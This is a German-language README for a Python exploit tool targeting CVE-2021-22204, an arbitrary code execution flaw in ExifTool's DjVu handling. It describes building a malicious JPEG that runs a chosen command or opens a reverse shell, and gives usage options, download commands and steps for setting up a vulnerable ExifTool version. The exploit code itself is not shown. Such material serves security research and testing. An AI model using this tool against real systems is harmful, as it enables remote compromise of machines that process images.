Exploit für CVE-2021-22204 (ExifTool) - Beliebige Codeausführung

GitHub CVE Cover

Gefällt dir dieses Repo? Gib uns einen ⭐!

Nur für Bildungs- und autorisierte Sicherheitsforschungszwecke.

Exploit-Autor

Schwachstellenbeschreibung

Unsachgemäße Neutralisierung von Benutzerdaten im DjVu-Dateiformat in ExifTool-Versionen 7.44 und höher ermöglicht beliebige Codeausführung beim Parsen des schädlichen Bildes.

Exploit-Beschreibung

Verwenden Sie diesen Exploit, um eine JPEG-Bild-Payload zu erzeugen, die mit einer verwundbaren ExifTool-Version zur Codeausführung verwendet werden kann. Ein benutzerdefinierter Befehl kann angegeben oder eine Reverse-Shell erzeugt werden. Ein JPEG-Bild wird automatisch generiert; optional kann ein benutzerdefiniertes JPEG-Bild bereitgestellt werden, in das die Payload eingefügt wird.

Verwendung

  python3 exploit-CVE-2021-22204.py -c <command>
  python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port>
  python3 exploit-CVE-2021-22204.py -c <command> [-i <image.jpg>]
  python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> [-i <image.jpg>]
  python3 exploit-CVE-2021-22204.py -h

Optionen

  -c    Modus für benutzerdefinierten Befehl. Befehl zum Ausführen angeben.
  -s    Modus für Reverse-Shell. Lokale IP und Port angeben.
  -i    Pfad zu benutzerdefiniertem JPEG-Bild. (Optional)
  -h    Dieses Hilfemenü anzeigen.

Download

Download exploit-CVE-2021-22204.py from GitHub

Download exploit-CVE-2021-22204.py from ExploitDB

Searchsploit (ExploitDB)

searchsploit -u
searchsploit -m 50911

Exploit-Anforderungen

python3
djvulibre-bin
exiftool

Demo

Demo Gif

Getestet auf

Exiftool Version 12.23

Gilt für

Exiftool-Versionen 7.44 - 12.23

Verwundbare Umgebung

wget https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip
unzip exiftool-12.23.zip
cd exiftool-12.23
perl Makefile.PL
make test
sudo make install
exiftool -ver

Teste generierte Payload

exiftool image.jpg

exploit-CVE-2021-22204

Beliebteste